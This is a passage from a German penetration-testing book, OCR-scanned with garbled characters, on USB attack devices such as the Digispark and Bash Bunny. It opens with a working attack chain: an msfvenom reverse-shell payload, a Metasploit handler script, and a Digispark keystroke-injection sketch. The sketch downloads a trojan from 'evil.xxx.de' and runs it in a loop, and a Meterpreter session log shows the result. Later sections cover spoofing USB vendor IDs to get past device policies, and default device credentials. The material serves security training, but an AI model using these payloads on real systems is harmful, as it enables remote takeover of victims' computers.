LHOST=192.168.0.115 LPORT=443 -f elf > shell.elf

Sie missen lediglich die Variablen LHOST (IP-Adresse des Angreifers) und LPORT (Port,
auf dem das Angriffssystem »horcht«) Ihren Bedingungen anpassen.

Um die eingehenden Daten vom Zielsystem aufzunehmen, richten Sie im Metasploit
Framework einen sogenannte Multi Handler ein. Dazu speichern Sie die folgenden
Anweisungen in der Datei handler.rc:
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# Datei handler.rc

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse tcp
set LHOST 192.168.0.115

set LPORT 443

set ExitOnSession false

exploit -j

Um das Angriffssystem »scharfzuschalten«, tibergeben Sie die gerade gespeicherte
Ressource-Datei an die Metasploit-Konsole und fithren so die in handler.rc enthalte-
nen Kommandos aus:

msfconsole -r handler.rc
=[ metasploit v4.16.40-dev- ...]
Processing handler.rc for ERB directives.

resource (handler.rc)> use exploit/multi/handler

resource (handler.rc)> exploit -j
[*] Exploit running as background job 0.
[«] Started reverse TCP handler on 192.168.0.115:443

Nun kommt der Digispark auf dem Zielsystem zum Einsatz. Die Platine hat folgen-
des Script gespeichert, dessen Zeilen hier nummeriert sind. (Die Zeilennummern sind
nicht einzugeben!)

1 #include "DigiKeyboardDe.h"

2 void setup()

3 1

4  pinMode (1, OUTPUT); //LED on Model A

5}

6 void loop()

74

8 DigiKeyboardDe.update();

9 DigiKeyboardDe.sendKeyStroke (0);

10 DigiKeyboardDe.delay(1000);

11 // start Linux Terminal

12 DigiKeyboardDe.sendKeyStroke (KEY_T, MOD_CONTROL LEFT
| MOD_ALT_LEFT);

13  DigiKeyboardDe.delay(5000);

14 // set screensaver off

15 DigiKeyboardDe.println("gsettings set
org.gnome.desktop.session idle-delay 0");

16 DigiKeyboardDe.delay(2000);

17 // download trojan from attackers website

18 DigiKeyboardDe.println("wget -N -g
http://evil.xxx.de/shell.elf");
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19 DigiKeyboardDe.delay(2000);

20 DigiKeyboardDe.println("chmod +x shell.elf");

21  DigiKeyboardDe.delay(2000);

22 DigiKeyboardDe.println("nohup ./shell.elf &");

23 DigiKeyboardDe.delay(2000);

24 // close window

25 DigiKeyboardDe.sendKeyStroke (KEY_W, MOD_CONTROL LEFT |
MOD SHIFT LEFT);

26  DigiKeyboardDe.delay(1000);

27  digitalWrite(l, HIGH); //turn on led when program finishes

28 DigiKeyboardDe.delay(2000);

29 digitalWrite (1, LOW);

30 // run again after 10 min (600000)

31 DigiKeyboardDe.delay(600000);

32 }

Beachten Sie, dass wir im obigen Listing einige Anweisungen aus Platzgriinden tber
mehrere Zeilen verteilt haben. Zeile 1 aktiviert die Header-Datei, die fiir die richtige
Ausgabe der folgenden Befehle und Eingaben auf der deutschen Tastatur verantwort-
lich ist.

Mit dem Befehl in Zeile 12 simulieren wir die Tastenkombination [Strg]+[A1t]+(T]
und 6ffnen damit eine Linux-Konsole. Auf einem Gnome-Desktop konnte der Bild-
schirmschoner unser Vorhaben behindern. Deshalb schalten wir ihn mit Hilfe des
Befehls in Zeile 15 einfach ab.

Weiter oben hatten wir die Linux-Hintertiir mit dem Befehl msfvenom erstellt und
danach auf einem Webserver platziert. Mit Zeile 18 wird er auf das Zielsystem herun-
tergeladen. Dabei gewidhrleistet die Option -N, dass dieser Vorgang nur gestartet wird,
wenn die Datei neuer als die bereits vorhandene Datei ist. Mit -q verhindern wir, dass
das Programm wget Informationen auf der Konsole ausgibt.

Das Kommando chmod in Zeile 20 dndert die Zugriffsrechte der heruntergelade-
nen Datei und ermdoglicht somit das Ausfiithren in Zeile 22. Die Tastenkombination
(strg)+[e)+(w] schlieRt das Fenster der Linux-Konsole (Zeile 25).

Das gesamte Programm wird in einer Schleife durchlaufen. Dabei legen wir in Zeile
31 fest, wann der Vorgang neu gestartet wird. In unserem Beispiel haben wir dafiir 10
Minuten (600.000 Millisekunden) angesetzt. Im praktischen Einsatz konnte der Wert
aber viel hoher liegen.

Sollten Sie alles richtig gemacht haben, so meldet sich das Zielsystem wenige Sekun-
den nach dem Einstecken des Digisparks und baut nach der vorgegebenen Zeitspanne
jeweils eine neue Verbindung zum Angreifer auf. Auf dem Angreifersystem zeigt die
weiterhin laufende Metasploit-Konsole dann die folgenden Ausgaben:
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[*] Started reverse TCP handler on 192.168.0.115:443
msf exploit(multi/handler) > [x]
Sending stage (812100 bytes) to 192.168.0.26
[*] Meterpreter session 1 opened
(192.168.0.115:443 -> 192.168.0.26:42652) at 2018-03-02 14:21

Im Internet finden Sie Programme, mit denen sich DuckyScript-Scripts fiir die Nut-
zung auf dem Digispark konvertieren lassen. Leider kommen Sie dabei um ein wenig
Nacharbeit nicht herum. Weitere Anregungen und Tipps dazu finden Sie auf folgen-
den Webseiten:

https://github.com/CedArctic/digiQuack/releases
https.//github.com/mame82/duck2spark

Vor- und Nachteile des Digisparks

Aufgrund seiner Grofie wirkt der Digispark unscheinbar. Der Vergleich zum USB-
Rubber-Ducky lasst aber viele Gemeinsamkeiten erkennen. Damit stellt er eine echte
Alternative zu dem verhaltnismafig teuren USB-Rubber-Ducky dar. Wer sich mit dem
Digispark langer beschiftigt, wird feststellen, dass er ein echter »Wolf im Schafspelz«
sein kann.

Der Digispark ist im Internet fiir ein paar Euro erhaltlich und wird nicht zuletzt damit
viele Nutzer dazu bewegen, ihn in der Testumgebung einzusetzen. Aus unserer Sicht
lassen sich folgende Vorteile in der Nutzung des Digisparks erkennen:

v

unter Windows, macOS und Linux nutzbar

» sehreinfach zu erlernende Scriptsprache

» DuckyScript-Scripts lassen sich nach dem Konvertieren auch auf dem Digispark
verwenden

» kompakte Bauweise, somit fallt er an einem Server oder Desktop-PC kaum auf

» kann unter Umstanden innerhalb eines IT-Gerdts verwendet werden

» sehr preiswert

Das Gerit hat aber auch Nachteile:

» vergleichbar geringe Speicherkapazitat fiir Scripts

» stellt moglicherweise nicht alle Zeichen ordnungsgemaf? dar

» Eskann immer nur eine Payload geladen werden.

» wird vom Ziel nicht als USB-Stick akzeptiert und erzeugt dadurch ein gewisses
Misstrauen

» keine Netzwerk- bzw. WLAN-Unterstlitzung
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8.3 Bash Bunny

Im Februar 2017 présentierte die Firma Hak5 den Bash Bunny der Offentlichkeit und
stellte ihn, nicht ohne Stolz, als hochstentwickelte USB-Angriffsplattform vor:

https://wiki.bashbunny.com

Vergleicht man ihn mit dem USB-Rubber-Ducky, so zeigt sich die konsequente Wei-
terentwicklung in vielen neuen Features und Ideen, die nicht zuletzt den Anfragen
und Vorschldgen der Nutzer und Entwickler zu verdanken sind. Neu ist, dass sich
der Bash Bunny nun nicht nur als programmierbare Tastatur, sondern auch als USB-
Massenspeicher, Gigabit-Ethernet-Adapter oder serielle Schnittstelle nutzen lasst.

Der Nutzer ist nun mit Hilfe eines am Gerat angebrachten Multischalters in der Lage,
mehrere Payloads einzusetzen bzw. verschiedene Angriffsmodi in Anwendung zu
bringen. Die ebenfalls neu gestaltete LED-Anzeige ermaoglicht die farbliche Darstel-
lung verschiedener Zustande und gibt damit dem Anwender die Moglichkeit, Setup-
und Angriffsfortschritt durch verschiedenartige Farbmuster darzustellen.

Aufbau und Funktionsweise

Die Hardware-Ausstattung kann sich fiir die Grof3e des Gerates sehen lassen (siehe Ab-
bildung 8.11). So verfiigt der Bash Bunny Uber eine Quad-Core-CPU und eine 8 GByte
grofde SSD der Desktop-Klasse. Auch der RAM ist mit 512 MByte reichlich bemessen.

Abbildung 8.11 Der Bash Bunny von Hak5

Da der Bash Bunny tiber einen ausreichenden USB-Massenspeicher verfligt, macht es
Sinn, hier gleich alle verfiigbaren Payloads, Bibliotheken, zusatzlichen Tools, verflg-
baren Sprachen und nicht zuletzt die Dokumentation zu speichern. Sie konnen im
Dateisystem des Bash Bunnys auch Ihre eigenen Ordner anlegen, miissen dabei aber
die vorgegebene Verzeichnisstruktur bei der Speicherung von Payloads und Tools
beachten (siehe Abbildung 8.12).
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» tools
| README.md
v payloads
switch2
switchl
library
extensions
loot
languages
docs
config.txt

yyYYvTYyY

Abbildung 8.12 Die Verzeichnisstruktur auf dem Bash Bunny im Auslieferungszustand

Im Wurzelverzeichnis befinden sich die Dateien README.md und config.txt. Hier fin-
den Sie Links zu Foren und zur ausflhrlichen Dokumentation im Internet. Auf die
Konfigurationsdatei gehen wir im nachsten Abschnitt kurz ein. Nachfolgend finden
Sie eine Ubersicht der bereits vorhandenen Verzeichnisse und deren Bedeutung:

» /tools: Hier kdnnen Sie eigene Programme, Werkzeuge oder Pakete im *.deb-
Format ablegen, die Sie wahrend des Post-Exploitation-Prozesses auf dem Zielsys-
tem nutzen mochten.

» /payloads: Das ist eines der wichtigsten Verzeichnisse auf dem Bash Bunny. In den
Unterverzeichnissen switchl bzw. switch2 legen Sie Payloads und Dateien ab, die
Sie auf dem Zielsystem nutzen mochten. Welche Variante aktiv ist, bestimmt der
Multischalter des Digisparks.

Im Unterverzeichnis library befinden sich alle derzeit fiir den Bash Bunny ver-
flgbaren Payloads. Diese sind wiederum in weiteren Unterverzeichnissen je nach
Einsatzart gespeichert. Es stehen zurzeit Scripts fiir Aufklarung, Phishing, Exploi-
tation und das Auslesen von Passwortern zu Verfiigung.

Das Unterverzeichnis extensions beherbergt weitere Bash-Scripts, die u. a. die Kon-
figuration und Programmierung des Bash Bunnys erleichtern.

» /loot: Hier kénnen Sie Daten jeder Art speichern. Das Verzeichnis kann z.B. als
Zwischenspeicher fiur Dokumente und Passworter genutzt werden, die auf dem
Zielsystem ausgelesen wurden.

» /languages: Hier sind — Stand bei Drucklegung — 22 verschiedene Tastaturlayouts
abgespeichert, die eine flexible Anwendung auf verschiedensprachigen Zielsyste-
men ermoglichen.

» /docs: Hier finden Sie eine Kurzanleitung mit den wichtigsten Informationen rund
um den Bash Bunny einschlie8lich der Nutzungs- und Lizenzbestimmungen.
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Standardeinstellungen im Auslieferungszustand

Wenn Sie lber die serielle Schnittsteller oder per SSH-Verbindung zum Bash Bunny
aufnehmen wollen, verwenden Sie als Nutzername root und als Passwort hak5bunny.
Wir empfehlen, das Passwort bei der ersten Nutzung mit dem Linux-Befehl| passwd
zu andern. Als IP-Adresse ist 172.16.64.1 voreingestellt. Der Bash Bunny nutzt seinen
eigenen DHCP-Server und weist dem Host-Computer eine IP-Adresse aus dem Bereich
172.16.64.10—12 zu.

Konfiguration des Bash Bunnys
Der Multischalter des Bash Bunnys sieht drei Positionen vor (siehe Abbildung 8.13):

» Der Zustand am nachsten zur USB-Schnittstelle markiert den sogenannten Arming
Mode. Hiermit lasst sich der Bash Bunny als Massenspeicher nutzen und ist
dadurch gut geeignet, die entwickelten Payloads in die dafiir vorgesehenen Ver-
zeichnisse zu speichern.

» In der entgegengesetzten Richtung, also am weitesten von der USB-Schnittstelle
entfernt, befindet sich die Switch-Position 1. Ist diese Position aktiv, wird payloads/
switchl/payload.txt nach dem Hochfahren des Bash Bunnys ausgefiihrt.

» Die Switch-Position 2 ist analog zu betrachten.
Position 1: Nutzerdefinierte Payload
Position 2: Nutzerdefinierte Payload
‘— Position 3: Arming Mode

Abbildung 8.13 Die drei Multischalter-Positionen des Bash Bunnys

Die Konfigurationsdatei config.txt befindet sich im Wurzelverzeichnis des Bash
Bunnys. Hier konnen Sie Standardvariablen oder das gewtlinschte Tastaturlayout ein-
stellen. Die Einstellungen gelten dann fur alle auf dem Bash Bunny aufgerufenen
Scripts. Das folgende Listing zeigt die notwendigen Einstellungen fiir eine deutsche
Tastatur:

#1/bin/bash
# This configuration file is used to set default variables
DUCKY_LANG de

Der Bash Bunny kennt verschiedene Betriebsmodi. Die dazu notwendigen Einstellun-
gen werden Sie spater im Bunny-Script iiber das Kommando ATTACKMODE vornehmen:
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» SERIAL (ACM = Abstract Control Model): Dieser Modus verwendet die serielle
Schnittstelle des Bash Bunnys. Er ist unter anderem dazu geeignet, eine Verbin-
dung vom Angriffssystem zum Bash Bunny herzustellen.

» ECM_ETHERNET (ECM = Ethernet Control Model): In diesem Modus emuliert der Bush
Bunny einen Ethernet-Adapter, der mit Linux-, macOS- und Android-Systemen
kompatibel ist.

» RNDIS ETHERNET (RNDIS = Remote Network Driver Interface Specification): Der Bush
Bunny emuliert einen Ethernet-Adapter fiir Windows (ab Windows 7) und einige
Linux-Distributionen.

» STORAGE (UMS = USB Mass Storage): Der Bush Bunny erscheint als USB-Massenspei-
cher (vergleichbar mit einem USB-Stick).

» RO_STORAGE: wie oben, aber schreibgeschtitzt

» HID (Human Interface Device): Der Bush Bunny agiert wie eine Tastatur und ermog-
licht so Einsatzzwecke wie beim USB-Rubber-Ducky.

» OFF: Der Modus setzt die Emulation eines bestimmten Zustandes aufSer Kraft.
Dieser Modus wird z.B. am Ende einer Payload aktiviert, wenn der Angriff abge-
schlossen ist.

Sie kdnnen sogar verschiedene Betriebsmodi kombinieren. Was beim USB-Rubber-
Ducky nur mit dem Aufspielen neuer Firmware moglich war, ldsst sich nun mit einem
einfachen Aufruf im Bunny-Script deklarieren. Der folgende Eintrag ermoglicht es,
den Bash Bunny gleichzeitig als Massenspeicher und als programmierbare Tastatur
flir einen Keystroke-Injection-Angriff zu nutzen.

ATTACKMODE HID STORAGE

Eine Liste mit allen zuldssigen Kombinationen finden auf der Webseite der Ent-
wickler:

https://github.com/hak5/bashbunny-wiki/blob/master/payload_development.md

Status-LED

Der Bash Bunny ist mit einer Multi-LED ausgestattet, die die Farben Rot, Grin, Blau,
Gelb, Cyan, Magenta und Weifd darstellen kann. Die Entwickler haben eine Menge
Zustande und Farbmuster festgelegt, die sich mit einem Befehl im Bunny-Script akti-
vieren lassen. Eine Referenz finden Sie auf der vorhin genannten Webseite. Fiir die
erste Inbetriebnahme reicht es aber aus, wenn Sie einige wenige Farbmuster kennen
(siehe Tabelle 8.1).

332

8.3 Bash Bunny

LED Betriebszustand des Bash Bunnys

grin blinkend Das Gerat fahrt hoch und 1adt das interne Linux-System. Das
dauert etwa 7 Sekunden.

blau blinkend Der Arming-Mode ist aktiv. Das Gerat ist als USB-Massen-
speicher nutzbar.

rot/blau blinkend | Der Bash Bunny wird in den Auslieferungszustand zuriick-
gesetzt, oder es wird eine neue Firmware aufgespielt.

Tabelle 8.1 LED-Status bei verschiedenen Betriebszustanden

Software-Installation

Wenn Sie zusitzliche Programme und Pakete auf dem Bash Bunny installieren moch-
ten, wenden Sie wie bei unter Debian oder Ubuntu das Kommando apt-get an.
Alternativ konnen Sie Programme mit git clone herunterladen und im Verzeichnis
/tools speichern. Debian-Pakete im /tools-Verzeichnis werden beim néichsten Hoch-
fahren in Arming Mode automatisch installiert. Die LED leuchtet bei diesem Vorgang
in der Farbe Magenta.

Verbindung zum Bash Bunny herstellen

Sie haben zwei Moglichkeiten, sich direkt auf die Linux-Oberflache zu verbinden. Wir
behandeln hier zuerst die serielle Schnittstelle und erklaren dann die Verwendung
der Ethernet-Schnittstelle.

Um die serielle Schnittstelle zu nutzen, schalten Sie den Bash Bunny in den Arming
Mode und verbinden ihn mit einem Linux-System. Verwenden Sie eine virtuelle
Maschine, so mussen Sie darauf achten, dass die USB-Schnittstelle des Host-Systems
der virtuellen Maschine zugeordnet ist. Das folgende Kommando zeigt, dass die seri-
elle Schnittstelle des Bash Bunnys als Device ttyACMO erkannt wird:

ubuntuuser@ubuntu:~$ dmesg | grep tty
console [ttyO] enabled
tty ttyS1l: hash matches
cdc_acm 1-2:2.0: ttyACMO: USB ACM device

Wenn Sie unter Windows arbeiten, verwenden Sie den Windows-Gerate-Manager, um
zu ermitteln, welchem Port die serielle Schnittstelle zugeordnet ist (COM3 in Abbil-
dung 8.14). Im zweiten Schritt verwenden Sie PuTTY, um eine Verbindung zu dieser
Schnittstelle herzustellen (siehe Abbildung 8.15).
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% Gerdte-Manager — O *
Datei  Aktion  Ansicht 7
e« @ H=EEEXC

v :.l.: DESKTOP-NOOFF40 A
v ﬁ Anschlisse (COM & LPT)
E Serielles USB-Gerat (COM3)
I Audio, Video und Gamecontroller

Ij Audiceingdnge und -ausginge v

Abbildung 8.14 Windows hat den Bash Bunny auf Port COM3 erkannt.

%2 PuTTY Configuration ? *
Category:
=R Sgssinn Basic options for your PuTTY session
P Logging Specify the destination you want to connect to
=~ Teminal Serial l Sneed
- Keyboard enial line pee
Bl [com3] |[o00 |
- Features Connection type:
= Window (O Raw (O Telnet (O Rlogin (O S5H (@) Serial
Appea_rance Load, save or delete a stored session
- Behaviour
.. Translation Saved Sessions
- Selection | |
CDI':'_L"'S Default Settings Load
= Connection Bash Bunny
- Data Save
-~ Proxy
- Telnet Delete
- Rlogin
[+~ 55H
- Serial Close window on exit:
(O fways () Mever  (®) Only on clean exit
About Help Cancel

Abbildung 8.15 PuTTY-Verbindung zum Bash Bunny liber den Port COM3 herstellen

macOS erkennt das Gerdt in der Regel als /dev/tty.usbmodemch000001. Sowohl unter
Linux als auch unter macOS kénnen Sie sich nun mit screen zum Bash Bunny ver-
binden. Wenn Sie noch kein eigenes Passwort eingestellt haben, verwenden Sie zum

Login root und hak5bunny. Mit (Strg)+(A] gefolgt von (Strg]+(\] beenden Sie die Sit-
zung.

sudo screen /dev/ttyACMO 115200
Debian GNU/Linux 8 bunny ttyGSO
bunny login: root K==
Password: hakSbunny <==
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Last login: Fri Dec 1 01:36:15 PST 2017 on ttyGSO
Linux bunny 3.4.39 #55 SMP PREEMPT Fri Dec 1 09:16:25 UTC 2017
armv71l Bash Bunny by Hak5 USB Attack/Automation Platform

root@bunny :~#

Den Bash Bunny mit dem Internet verbinden (Linux-Host)

Oftmals ist es zweckmaflig, direkt von der Bash-Bunny-Oberflache auf das Internet
zuzugreifen, um z.B. mit apt-get update Daten zu aktualisieren. Dies erreichen Sie
nur, wenn Sie die am jeweiligen Host zur Verfiigung stehende Internetverbindung
mitnutzen.

In einem ersten Schritt ist es zunachst notwendig, den Betriebsmodus des Bash Bun-
nys so zu andern, damit er auf dem Host-System als Ethernet-Adapter erkannt wird
(je nach Betriebssystem Modus ECM_ETHERNET oder RNDIS ETHERNET). Wenn der Bash
Bunny an die USB-Buchse eines Linux-Rechners angesteckt werden soll, erstellen Sie
die Textdatei payloads/switchl/payload.txt mit dem folgenden Inhalt im Dateisys-
tem des Bash Bunnys.

# Datei payloads/switchl/payload.txt (Bash Bunny)

# Internetverbindung auf einen Linux-System gemeinsam nutzen
LED W SOLID

ATTACKMODE ECM_ETHERNET STORAGE

Schalten Sie nun den Multischalter auf die am weitesten vom USB-Anschluss ent-
fernte Position, und stecken Sie den Bash Bunny erst in Ihr Linux-System, wenn
das nachfolgende, lokal am Linux-Rechner auszufiihrende Script Sie dazu auffordert.
Sobald die LED dauerhaft weifd leuchtet, ist das Gerat zur weiteren Konfiguration
bereit.

Um den folgenden Schritt zu automatisieren, haben die Hak5-Entwickler ein Script
erstellt, das Sie aus dem Internet auf Ihr lokales Linux-System laden miissen. Das fol-
gende Listing zeigt die dafiir notwendigen Befehle:

wget bashbunny.com/bb.sh
chmod +x bb.sh
sudo ./bb.sh

Mit Hilfe des nun gestarteten Programms sind Sie in der Lage, die gemeinsame Inter-
netnutzung sowohl manuell als auch gefiihrt zu konfigurieren. Wir empfehlen, die
Option G—GUIDED SETUP zu hutzen und die vorgegebenen Werte im nachsten Schritt
mit y zu bestatigen:
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Saved Settings: Share Internet connection from enpOs5
to Bash Bunny enx001122334455 through default gateway 192.168.0.1

[Clonnect using saved settings

[GJluided setup (recommended)

[MJanual setup

[A]ldvanced IP settings

[Qluit

Mit der Option C — CONNECT USING SAVED SETTINGS konnen Sie zukinftig das Inter-
net auch mit dem am Hostsystem angeschlossenen Bash Bunny nutzen. Um dies
zu prifen, verbinden Sie Sie sich mit dem Bash Bunny auf der voreingestellten IP-
Adresse 172.16.64.1 per SSH und fithren dann den Befehl sudo apt-get update aus.

Den Bash Bunny mit dem Internet verbinden (Windows-Host)

Wenn Sie auf Threm Hostsystem Windows 10 anstelle von Linux nutzen, miissen
Sie anders vorgehen. Im ersten Schritt ist die oben erstellte Datei payload.txt so
abzudndern, dass sie auch auf einem Windows-System nutzbar ist. Hierzu ersetzen
Sie einfach die Zeichenkette ECM _ETHERNET durch RNDIS ETHERNET. Damit verhalt sich
der Bash Bunny wie ein Ethernet-Adapter, der unter Windows 10 als REMOTE NDIS
COMPATIBLE DEVICE erkannt wird (siehe Abbildung 8.16).

% Gerdte-Manager - O >
Datei  Aktion  Ansicht 7
e FEIHE B EXGE

[ Monitore ~
w Metzwerkadapter
Intel(R) 82574L Gigabit Metwork Connecticn
Remocte NDIS Compatible Device
I Prozessoren k4

Abbildung 8.16 Windows 10 hat den Bash Bunny als Remote-NDIS-kompatibles Gerat
erkannt.

Jetzt geht es darum, dass der Bash Bunny die Netzwerkverbindung Thres Windows-
Rechners nutzen darf. In den Einstellungsdialog NETZWERKVERBINDUNGEN gelangen
Sie am schnellsten, indem Sie im Startmenu ncpa.cpl eintippen und driicken
(siehe Abbildung 8.17).
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& Netzwerkverbindungen

4 & 5 Systemsteuerung > Netzwerk und Internet > Netzwerkverbindungen

Organisieren Netzwerkgerst deaktivieren Verbindung untersuchen Verbindung umbenennen Status der Verbindung anzeigen
— Ethernet — Ethernet 2 — WLAN
L\,! Netzwerk L..i' Metzwerk 2 ‘e!'. Micht verbunden
@it~ Realtek PCle GBE Family Controller @~ Remote NDIS Compatible Device x Qualcomm Atheros ARI283 Wirel...

Abbildung 8.17 Netzwerkverbindungen auf dem Windows 10-Zielsystem

Mit einem Rechtsklick auf das Symbol der Ethernet-Verbindung des Rechners
(nicht der des Bash Bunnys!) gelangen Sie {iber EIGENSCHAFTEN - FREIGABE zu den
gewlinschten Einstellungsmoglichkeiten (siehe Abbildung 8.18). Hier aktivieren Sie
beide Optionen und wéahlen im Dropdown-Menu das Netzwerk aus, das ebenfalls die
Verbindung ins Internet nutzen darf. In unserem Beispiel ist das ETHERNET 2. Dann
bestatigen Sie die angezeigte IP-Adresse und schlief3en abschlief3end alle Fenster.

W' Eigenschaften von Ethernet *
Netzwerk  Freigabe

Gemeingame Mutzung der Intemetverbindung

Anderen Benutzem im Metzwerk gestatten, diese Verbindung
des Computers als Intemetverbindung zu verwenden

Heimnetzweroverbindung:

Wahlen Sie eine private Netzwercverbindung aus. w

Anderen Benutzem im Metzwerk gestatten, die gemeinsam
genutzte Intemetverbindung zu steuem oder zu deaktivieren

Einstellungen...

Abbrechen

Abbildung 8.18 Freigabe fiir die gemeinsame Nutzung der Netzwerkverbindung

Um die Konfiguration zu beenden, weisen Sie dem NDIS-Netzwerkadapter eine
andere statische IP-Adresse zu und passen die Subnetzmaske entsprechend an. Dazu
klicken Sie die Netzwerkverbindung (ETHERNET 2 in Abbildung 8.17) mit der rechten
Maustaste an. Uber NETZWERK * INTERNETPROTOKOLL, VERSION 4 (TCP/IPv4) - EIGEN-
SCHAFTEN gelangen Sie in den Konfigurationsdialog. Dort tragen Sie folgende Werte
ein (siehe Abbildung 8.19):

IP-Adresse: 172.16.64.64
Subnetzmaske: 255.255.255.0

Wenn alles eingestellt ist, konnen Sie mittels PuTTY eine SSH-Verbindung zum Bash
Bunny herstellen, der nun unter der IP-Adresse 172.16.64.1 erreichbar ist (siehe Ab-
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bildung 8.20). Die interne Adresse des Bash Bunnys bleibt bei 172.16.64.1, obwohl die
Adapter-Adresse mit 172.16.64.64 festgelegt wurde.

Eigenschaften von Internetprotokell, Version 4 (TCP/IPv4) >
Allgemein

IP-Einstellungen kinnen automatisch zugewiesen werden, wenn das
Metzwerk diese Funktion unterstiitzt. Wenden Sie sich andernfalls an den
Metzwerkadministrator, um die geeigneten IP-Einstellungen zu beziehen,

(O IP-Adresse automatisch beziehen
(®) Folgende IP-Adresse verwenden:

IP-Adresse: 172 . 16 . 64 . &4
Subnetzmaske: 255,255,255, 0

DNS-Serveradresse automatisch beziehen

(®) Folgende DNS-Serveradressen verwenden:

Bewvorzugter DMS-Server:

Alternativer DNS-Server: l:l

[ Einstellungen beim Beenden iiberpriifen
Erweitert. ..

Abbrechen

Abbildung 8.19 Statische IP-Adresse fiir den Bash Bunny eintragen

&R PuTTY Configuration ? X
Category:
(=~ Session Basic options for your PuTTYY session
D Ten I_.oglging Specify the destination you want to connect to
Fmina Host Mame (or IP address) Port
- Keyboard —
. Bell 172.16.64.1 | |22 |
- Features Connection type:
= Window (O Raw (O Telnet ) Rlogin @ S5H () Seral
ﬁppearance Load, save or delete a stored session
- Behaviour
... Translation Saved Sessions
-- Selection |Bash Bunny |
- Colours -
Default Settings
- Connection R —
~Data Save
- Prowy
- Telnet Delete
- Rliagin
[#-S5H
- Serial Cloge window on exit:
(O Mways  (C)Never  (®) Only on clean exit
About Help Open Cancel

Abbildung 8.20 SSH-Verbindung mittels PuTTY zum Bash Bunny
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Bunny Script — die Scriptsprache des Bash Bunnys

Wenn man es genauer betrachtet, dann ist Bunny Script keine eigenstandige Script-
sprache. Da das Betriebssystem des Bash Bunnys auf Linux basiert, wird fur die
Shell-Programmierung vorrangig die Bash verwendet. Auch hier sind die Entwick-
ler bei Hak5 ihrer Linie treu geblieben und haben versucht, Bewdhrtes zu erhalten
und neue Features mit dem Ziel zu ergdnzen, dem Anwender das Programmieren zu
erleichtern.

Fir den Fall, dass Sie sich bereits langer mit dem USB-Rubber-Ducky und mit sei-
ner Scriptsprache auseinandergesetzt haben, ersparen Sie sich jetzt einige Arbeit. Die
dort erstellten Scripts lassen sich ohne Probleme auf dem Bash Bunny ausfiihren. Das
hat auferdem den Vorteil, dass eine grof3e Zahl der im Internet verfiigbaren Payloads
mit ein wenig Nacharbeit auch auf diesem Gerat einsetzbar ist.

Damit die neuen Features (wie z.B. Betriebsmodi, LED und Multischalter) des Bash
Bunnys effizient einsetzbar sind, sind einige Befehle hinzugekommen, die wir flir
Sie im Folgenden zusammengefasst haben. Die Scriptkommandos werden immer in
Grof3buchstaben dargestellt.

» ATTACKMODE: Dieser Befehl stellt die verschiedenen Betriebsmodi des Bash Bunnys
ein, die sich auch kombinieren lassen. Die Verdnderung der USB-IDs kann dann
zweckmaRig sein, wenn IT-Sicherheitsrichtlinien nur den Einsatz bestimmter USB-
Gerite erlauben.

# gleichzeitiger Einsatz als programmierbare Tastatur und
# Massenspeicher
ATTACKMODE HID STORAGE

# gleichzeitiger Einsatz als Netzwerkadapter (Win) und
# Massenspeicher
ATTACKMODE RNDIS_ETHERNET STORAGE

# Seriennummer und Hersteller des USB-Cerdts festlegen
ATTACKMODE HID SN 1234567 MAN_TOSHIBA

# Geschwindigkeit eines Netzwerkadapters festlegen
ATTACKMODE RNDIS_SPEED 2000000 # 2 Gbps
ATTACKMODE RNDIS_SPEED_10000  # 10 Mbps

# Hersteller ID (VID) und Produkt ID (PID) des USB-Gerdts

# festlegen (hexadezimal)
ATTACKMODE HID VID _OXFO00 PID OXFF06
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» QUACK oder Q: Hiermit konnen Sie aus DuckyScript bekannte Befehle verwenden.
Wer ein komplettes DuckyScript-Script ausfiihren mochte, der legt es als Textdatei
im gleichen Verzeichnis wie die Payload ab. Das Script muss vorher nicht kodiert
werden.

# eine Sekunde warten
QUACK DELAY 1000

# gleichzeitiges Betdtigen der Tasten Alt und N simulieren
Q ALT n

+=+

'Hello World'-Eingabe simulieren
Q STRING Hello World

# das DuckyScript getpasswd.txt im Verzeichnis
# payloads/switch2 ausfihren
QUACK switch2/getpasswd.txt

» LED: Dieses Kommando spricht die mehrfarbige LED des Bash Bunnys an. Hier-
mit lassen sich verschiedene Farbmuster generieren, die dem Nutzer verschie-
dene Betriebszustande oder Programmablaufe signalisieren. Die Entwickler haben
bereits Farbmuster festgelegt, die mit einem weiteren Schliisselwort aufgerufen
werden konnen.

# LED leuchtet weifR, ohne zu blinken
LED W SOLID

# Bash Bunny befindet sich im "Setup Modus" (LED M SOLID)
LED SETUP

# LED blinkt dreimal grin
LED G TRIBLE

# Prozess fehlgeschlagen - rot blinkend
LED FAIL

Eigene Erweiterungen und Funktionen nutzen

Um den Anwendern die Moglichkeit zu geben, eigene Hilfsmittel zu programmie-
ren und einzusetzen, haben die Hak5-Entwickler sogenannte Extensions geschaffen.
Sie sind als Bash-Scripts bereits im Verzeichnis /payloads/extensions auf dem Bash
Bunny abgelegt und beliebig erweiterbar. Im Folgenden beschreiben wir die aktuell
auf dem Bash Bunny definierten Erweiterungen:
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» RUN 6ffnet eine Kommandoumgebung im jeweiligen Betriebssystem.

# Notepad.exe unter Windows starten
RUN WIN notepad.exe

# Terminal unter macOS &6ffnen
RUN 0SX terminal

# Terminal unter Linux o6ffnen
RUN UNITY xterm

DUCKY_LANG stellt das Tastaturlayout fiir Keystroke-Angriffe ein. Das Layout kann
auch global in der Datei config.txt festgelegt werden. Wenn DUCK_LANG nicht defi-
niert ist, wird immer das Standardlayout us verwendet.

# Das Standard-Tastaturlayout verwenden
DUCKY_LANG us

# Das Layout fir eine deutsche Tastatur verwenden
DUCKY_LANG de

SETKB vereinfacht das Ausfihren von Keystroke-Angriffen auf Windows-Zielsys-
teme mit unterschiedlichem (unbekanntem) Tastaturlayout, indem das Layout
mittels PowerShell eingestellt wird. Die entsprechende Sprachdatei *.json muss
sich im Verzeichnis /languages auf dem Bash Bunny befinden.

# das Tastaturlayout auf dem Zielsystem auf "US" umstellen
SETKB START

# die Tastatur wieder auf das Standardlayout zuriickstellen
SETKB DONE

# ein beliebiges Tastaturlayout auf dem Zielsystem einstellen
SETKB de-DE # deutsch - Deutschland

SETKB fr-CA # franzosisch - Canada

SETKB en-US # englisch - USA

GET fragt bestimmte Zustdande ab und speichert diese als Systemvariable.

# 1IP-Adresse des Zielsystems abfragen
GET TARGET_IP

# Hostnamen des Zielsystems ermitteln
GET TARGET_HOSTNAME

# Position des Multischalters feststellen
GET SWITCH POSITION
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# mit Hilfe von nmap das Betriebssystem auf dem
# Zielsystem herausfinden
GET TARGET_O0S

